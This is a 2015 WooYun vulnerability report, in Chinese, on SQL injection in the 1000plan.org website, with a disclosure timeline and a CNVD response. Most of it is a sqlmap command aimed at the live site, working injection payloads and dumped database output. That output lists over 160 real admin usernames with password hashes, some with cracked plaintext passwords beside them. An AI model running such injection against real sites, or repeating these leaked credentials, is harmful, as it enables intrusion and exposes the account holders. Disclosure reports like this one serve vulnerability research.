漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0119100
漏洞标题：千人计划网sql注入漏洞，数万用户资料泄漏
相关厂商：千人计划网
漏洞作者： 路人甲
提交时间：2015-06-10 17:14
修复时间：2015-07-27 19:50
公开时间：2015-07-27 19:50
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-06-10： 细节已通知厂商并且等待厂商处理中
2015-06-12： 厂商已经确认，细节仅向厂商公开
2015-06-22： 细节向核心白帽子及相关领域专家公开
2015-07-02： 细节向普通白帽子公开
2015-07-12： 细节向实习白帽子公开
2015-07-27： 细节向公众公开
简要描述：
涉及数万用户的帐号密码，个人资料。
详细说明：
涉及数万用户的 邮箱 电话 帐号 密码 等等。。。。 我就不贴出来了。
sqlmap -u "http://www.1000plan.org/news/61?tag=%E4%BF%A1%E6%81%AF%E7%A7%91%E6%8A%80" --dbs --batch -v3
sqlmap identified the following injection points with a total of 59 HTTP(s) requests:
---
Parameter: tag (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tag=%E4%BF%A1%E6%81%AF%E7%A7%91%E6%8A%80' AND 3025=3025 AND 'RTWi'='RTWi
Vector: AND [INFERENCE]
Type: UNION query
Title: MySQL UNION query (NULL) - 12 columns
Payload: tag=%E4%BF%A1%E6%81%AF%E7%A7%91%E6%8A%80' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a7a7a71,0x5a616965644b4168505a,0x7178767071),NULL,NULL#
Vector: UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,[QUERY],NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: tag=%E4%BF%A1%E6%81%AF%E7%A7%91%E6%8A%80' AND (SELECT * FROM (SELECT(SLEEP(5)))WRAS) AND 'VjBA'='VjBA
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.2.12
back-end DBMS: MySQL 5.0.11
available databases [7]:
[*] discuz
[*] information_schema
[*] qrjh------------------------current
[*] qrjh_zhb
[*] qrjh_zhb_beta
[*] test
[*] xianggang_zhihuizone
Database: qrjh
Table: admin_users
[165 entries]
+-------+----------------+----------------------------------+
| uid | name | password |
+-------+----------------+----------------------------------+
| 1 | root | 622d1e1cb14d7fb67ae5a7407252a1de |
| 4 | wangping | e10adc3949ba59abbe56e057f20f883e | 123456
| 6 | chenqiangmf917 | 1af6f9b03d84041dbdb69e87aacd9edb | chen521917
| 8 | zzb | c641c6ec8b80c6c000ad953e8a8a92ed |
| 37 | zzb2010 | 220108e1b049c11d1e2f6b6e29e8f329 |
| 13467 | fangxiaoan | d4a5d3b398bd4abd38316eedf693f088 |
| 32 | zhuanxiangban | 605a55175d6f4d91d8e67db7ce0bc6bb |
| 39 | cqljxz | 5d90310c0dd08c68beeedf516123f98c |
| 40 | cqhwgccrc | 3eec1d8abc8a1a0ba4dcb5a41da867b6 |
| 41 | zjhwgccrcyj | 42e96fc286ea318368334c32057331e2 |
| 42 | zjhz521yc | c2d638d5ca3569d1a5acb6aa901e3190 |
| 43 | zjhznthjyjh | 5c653e696b6c27733f5764edb6bb7c00 |
| 44 | zjjxjyyc | 9a216f492f5db43e2795b52f08176883 |
| 45 | zjsx330yc | 6223e493cf577c2a1f8bc30eb3d8c88c |
| 46 | zjjhrcyj | 32f1adcac0dff70d820276c1f900ca1d |
| 47 | jxgccrcyj | 2aa4a778b93214e08a0039b204567f75 |
| 48 | nmgcyyc | f52c3e8800314b9deefd10d7e226bcd9 |
| 50 | shqrjh | 61c972b84c1940a4788dd78c6f6aac31 |
| 51 | ahbrjh | 6d30983fcbd464505b93375700971a83 |
| 52 | hfbrjh | 9c2adc6741d94436977fea36c6b8579c |
| 53 | fjgccrcyj | f96bbd548c7a9f4b1454e77835fcc7ee |
| 54 | hbbrjh | 6cf29c84b3c5811abfc52c3f4d8c2265 |
| 55 | hbctxzjh | a91d170576cd8d935936eb02773f5ebb |
| 56 | hbwh3551 | faac981a8c8a9f0019b08e923e4329b0 |
| 57 | hbxflzrc | 1abb88464ce74ba4ef81640c2c4f3d38 |
| 58 | hbycsxrc | 981b719100fa75de1076669be54ac12a |
| 59 | hbeszgccrc | 38fdc1c4df101297917410fd3fb8102a |
| 60 | tjqrjh | 45c7da596d77030cba095b81a1b36159 |
| 61 | sxbrjh | d1a5803fb758e946e17b345ecf395642 |
| 62 | hnbrjh | 15f2e5780b8e498d973173119addba54 |
| 63 | sdwrjh | 3139d79b13fd5d309fa059c89be25b78 |
| 65 | sdqd300rc | b06558c85476f854a17d96c9defb8876 |
| 66 | sdzb55rc | 966f59bb5b688a37337bb35c4c603e00 |
| 68 | sdytsbjh | b091fefba5a37fee8877e3388ae01a0e |
| 69 | sxbrjhsqxz | 6a63460d9ec46a092c971713b555a8fb |
| 181 | hubei | 93ff9fab2c9a354e750e3e14bd401aec |
| 182 | zhejiang | f7d2ab2e0a760abf3ea885434050edd4 |
| 178 | anhui | 6cf1749ae4dbe380d5af6ed7d9ed1b53 |
| 177 | shanghai | 22638a3131d0f0a7346b178fd29f939c |
| 176 | jiangsu | 6465212297ab898d4cbf9576b6ff04e3 |
| 175 | henan | b680d57297da6f9148cda0ba65347c65 |
| 170 | gansu | 49f09d216d9b9cc37e2749bd58f9f5e0 |
| 174 | shaanxi | e16e8d3f3f10dad3686d03408b6db915 |
| 167 | tianjin | a1a3f433ce0292030a4d8355cfdd5ef3 |
| 169 | shandong | 96318e2a633d47f342a7e17d60ffae67 |
| 164 | hebei | 8272a2ca2b3f113c77a411a49cb69f78 |
| 162 | beijing | 0420a206ae8b77b60f314a33b38c875a |
| 163 | ningxia | 2f50a162efa6a194bd8ebf149746f881 |
| 160 | liaoning | 9b74df423fdc5069bbdd37a026e6248f |
| 161 | neimenggu | 3545f83081bcc135b7ad0c1578ed960c |
| 92 | hncssnyjrc | 0e1946632cb3c6066d38ac41c5935c99 |
| 159 | jilin | d8d3ad73cd3b22f213bd98200d49f51b |
| 158 | heilongjiang | cec92a0893e8e4370c6316c2e0d022d7 |
| 13509 | wangxin | e10adc3949ba59abbe56e057f20f883e |
| 168 | shanxi | 4e200396104614d131eef57b450f4ef7 |
| 180 | sichuan | 34f280dfd7f86fa505a52836fa8be720 |
| 183 | jiangxi | b8a3ef39f610af82fe27fbb6d2362677 |
| 184 | hunan | c5728c531abbdf75a5dc8637bed54172 |
| 185 | chongqing | 397c68e738f0cb7477d697f9c9256a69 |
| 187 | yunnan | b527aa1e082c7f445fa82a9bd8d6bb4e |
| 189 | guangdong | 406d8837d2a7ef8b4d1e5911aca8eb4c |
| 190 | fujian | f881766500f28ea95a10bb2673bb32db |
| 201 | zjtz500 | f570d7b26a35514083a4b929ca92c99e |
| 202 | zj355rc | 047697a769b052983d15c481a8e57779 |
| 370 | zjqz4100yc | 347e57ba8001014fae37eec0c56fce75 |
| 205 | fjfzyjgc | e9b155b13cf5604ddac6dc66fd41a4bf |
| 369 | xmrcyj | 9d0822e7cb7caca354f371509f113418 |
| 208 | xmqzcycxjh | c7b4d486e9e2de7a2cc2640fa0da9830 |
| 209 | xmndycjzjh | 895b360018799ad97acb5d142519fa57 |
| 210 | gdcxtdjh | a11c85c1928571df39fd0aeb615575cc |
| 211 | gzcxcybrjh | 882d2d5fbfa2db06c5bf7d7e048df414 |
| 212 | gzhwgc213 | 29a14b74f6d9bbd374c98a6eb26dd03f |
| 213 | hbhs2112jh | dee0fe611fbeeea7db38f90eae094979 |
| 214 | sxlfyc | d17b0093d9df9634c7a21fdfa70f1928 |
| 215 | hnyjhwjh | 1883e33a0e96cc6bce12f8fe3b443c50 |
| 217 | qhyjhw | 0bd4ea2d114c8d7b6e286831614b7d8a |
| 218 | sdjnhwrc511jh | 35f846491a18aa856574c56620c654ac |
| 220 | sdtahwyc | fb245272af5132f090eeb7d00cb18738 |
| 221 | sdlwbrjh | 0ff452409132acbf547623d3ed60337d |
| 222 | sddzgccrcgc | 50891d3b191063656ab1e2746a450408 |
| 223 | sdlc533gdrc | 0ddab9bc8a051a62d3467d3e53df795e |
| 224 | sdbzhw526gc | c75bf6877b9c153603ee3128ae30b4ad |
| 229 | bjhwrcjjgc | dd9295328e8e95b84c8a71e5f31d8cc0 |
| 230 | tshwrcyj | 0028d792ac32f4a3cef973e54f4bfe26 |
| 231 | jxbrjh | 039bd942f22cb1090d97fc1bdf96b101 |
| 232 | jsscjh | 67fdc8efd2f97a50b0d9c578c33aa727 |
| 233 | njzjrcjh | 1366ae0fad880d74e52c9ee0b0028eb0 |
| 234 | jstpjsjj | 2bc89b61b1627bb1e4cd4e5ee86c8043 |
| 236 | wxjyqrjh | b931ff2d002136fc7969306f598c9d7d |
| 237 | wxsbqwyc | b3983981e27f6be9dd878bd2b6b6d475 |
| 238 | wxhssqxd | 5d5a50376bae1ffec053c1777dce50cb |
| 239 | wxxsbrjh | 4b7037ece248a0f60a68f3ffd2b79e94 |
| 240 | wxbthwyc | af75971ef504fd6158311904b4d9d59d |
| 241 | xz515rc | 993f63c39de0740bbd7e4e5bf2e583cd |
| 242 | xzpx531 | ef06da8380fa3bfe4a8af8414d051414 |
| 243 | xzxysbsg | 14762fe74b58db49689fc28ae830d6aa |
| 245 | szgsrcjh | 2d079eec250be5eff268732ba182d686 |
| 246 | szgyykjrc | be018ee26add1b4b9d60dbe6f2edf861 |
| 247 | szgxqkjrc | e44d0f754afa6f4d87637e42c7bedd2b |
| 248 | czhwrc | dd481110f20eff5a43fbde06bd5af052 |
| 249 | czwj522rc | cc54b519dbee8e426a73942c6aec243e |
| 250 | ntjhycyj | cc0ad7273a8cb29b132fd1954667d452 |
| 372 | 301302 | 09bc15e17d34b187b2a091c56ee15854 |
| 251 | ntcc336 | a735af463d7eb4e390a8cbd53b1e8b70 |
| 252 | nttzyc | d8d953ae451ce26f182717b550ac70b7 |
| 253 | ntrgzsyc | c51e2f52dce2fa2c3a8042170fdc48db |
| 254 | ntha525yc | 6422704ae690e63a2c44817ac1116038 |
| 255 | nthmmxlc | f4ccb48dde761c4091a6cd302a7bd890 |
| 256 | lygcycxrc | d9ddcbc509be05e06f4b3d0e954ede07 |
| 257 | hahsyc | a81c0e3b2d9c03f29bfb7307ce16a96f |
| 258 | yccxcyrc | 0d6c0c725dcec43de90b0d7642691663 |
| 259 | yc551gccrc | 4c830315ad31bd5328972c11439aa6cc |
| 260 | ycdt211 | cd7b937cc6df03934ad91b64c1a50228 |
| 261 | yzlyjfjh | bbaf7b4afb51b931aaaa233527b63387 |
| 262 | yzgyrcyj | 2ac06fe9de614c3465321210e30dd00b |
| 263 | yzjdgccrc | 4a19708ef28af0ca2c2e1c936d7b0b80 |
| 264 | yzyz111yc | 83cf94675208e29afbbb168fc1d5345e |
| 265 | jszj311 | a876550430a02ca621b54042e4d6e555 |
| 266 | jszjdyhcrc | 2d60346e1870573da8a433f4179ce8bf |
| 267 | jsjzjrrcgc | 6ebee0a50f3908fb8ce4730b5165f196 |
| 268 | jszjyzrcyj | aaa3adadeef4b280b597a6fc54845ae1 |
| 269 | jstzfcqrjh | 6c764a9507308255fd29bc330eea9fc7 |
| 270 | jstzjjrcyj | fded06ec5abf8f624e6c08f076153906 |
| 271 | jstztxrcyj | 0245480baf7b13f080aa4e4f2af9cb36 |
| 272 | jstzjyrcyj | ffdec25a0e31eab5a80eec9d9e5d0947 |
| 273 | jstzxhsbqw | 9c56a72395efc0acf63acebe7fa16b7c |
| 274 | jstzhlyc | 27e86223700deff052534a7e69a18989 |
| 276 | jssqcycxrc | 410b502d17e92a4f9ab30b8ee1735f6c |
| 394 | sdjnyc | 9c77ff28ce1503d741063a66bbc5b0e1 |
| 281 | 钱锦江 | 1b161601686f78e306c406e87221edec |
| 277 | jlqrjh | 8c5427dbd51d0dc4907b63c4e8376037 |
| 278 | ccgccrcjh | 26d4132d63e60994dfae962f01d9e9db |
| 371 | sdwfgccrc | 5c8b901a633cc7e72df3d20da7843c26 |
| 13480 | huangyiwen | e10adc3949ba59abbe56e057f20f883e |
| 321 | zhongliang | 91200dde23b37755bda9212f450f110d |
| 380 | xzfxrcyj | eacce2802ad16cba0f5055f2392aada1 |
| 357 | nbgxqycjh | 30d8f36429974a47832739a11e43bd62 |
| 377 | wuxiyincai | 6e4898495c80715051ec2e4ca58e28d9 |
| 382 | gp555 | e91e70d1e2de47af33560d3f03480723 |
| 384 | shyp3310 | 476adea973808e9c33b4f7f3a3b93961 |
| 13501 | testManager | 01b114342d7fc811669eb24dbe609cc4 |
| 388 | xmhj515 | 451aadc7181ba85617abba650c4bb043 |
| 695 | cnooc | cae5807b19bf21fdba6c93b8ece91ae7 |
| 1446 | metagalaxy | 84d961568a65073a3bcf0eb216b2a576 |
| 13456 | weikai | b88545396924731fb760decd03664e84 |
| 3841 | research | 7412df2b1db8cd2a5d4aafdb6c2090d3 |
| 4063 | lyhoffice | f1759176858d0d46d7b6c3276fe828d6 |
| 4091 | zhouyuyu | 891b13b5d5cb75de3f871b6f0343b637 |
| 4183 | 郑州高新区 | 0aba3385de8b38686cda0b1361e147da |
| 4291 | jingetentec | 8ca3ad5fa903cbdab0658c44828fca47 |
| 4889 | jiangyin445 | d41d8cd98f00b204e9800998ecf8427e |
| 5149 | qdcyzx | d41d8cd98f00b204e9800998ecf8427e |
| 5235 | lianyihui | e6752c1b62a62902f6b32d152091d71f |
| 5578 | 余杭人才办 | 72b481b8e3a4dcbcce796fd5446d5796 |
| 6083 | zhaozhenrong | 55d5d7c2fb61e2d3ec2beb92c64cbe59 |
| 8047 | 黄健忠 | 449440fa63df2d0640da0f16226523af |
| 13449 | haichuanggc | be5a5bc68b61519cd3699e2086b6f9b2 |
| 13510 | wangqiuzi | e10adc3949ba59abbe56e057f20f883e |
| 13454 | jsyzjjjskfqrcb | 4cfbe8c003ddf231fc5b0c56148b735b |
| 13455 | jsbyxrcb | 92017f4e9af59aa2bf1aa46c7597ec6d |
| 13477 | tz500 | 5f9452f0003e0febab15e082f73e2b0b |
| 0 | a | aadsf |
| 13490 | wangxiaohong | 572f9b86230396246c4dd140b8fda7cb |
| 13502 | dull | 32e38ad8c927a4fe63f184e157ba576b |
| 13506 | chenyan | 22f004012e8acc1ede4555640d21bb0e |
漏洞证明：
Database: qrjh
Table: cdb_members
[1 entry]
+-----+----------+----------------------------------+
| uid | username | password |
+-----+----------+----------------------------------+
| 1 | root | 5894cec5550ad02f79a9eae185950321 |
+-----+----------+----------------------------------+
Database: qrjh
Table: users
[30250 entries]
root 7efbcf3c5971edfc635711985cd07515
修复方案：
你们比我懂
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2015-06-12 19:48
厂商回复：
CNVD确认所述漏洞情况，暂未建立与网站管理单位的直接处置渠道，待认领。
最新状态：
暂无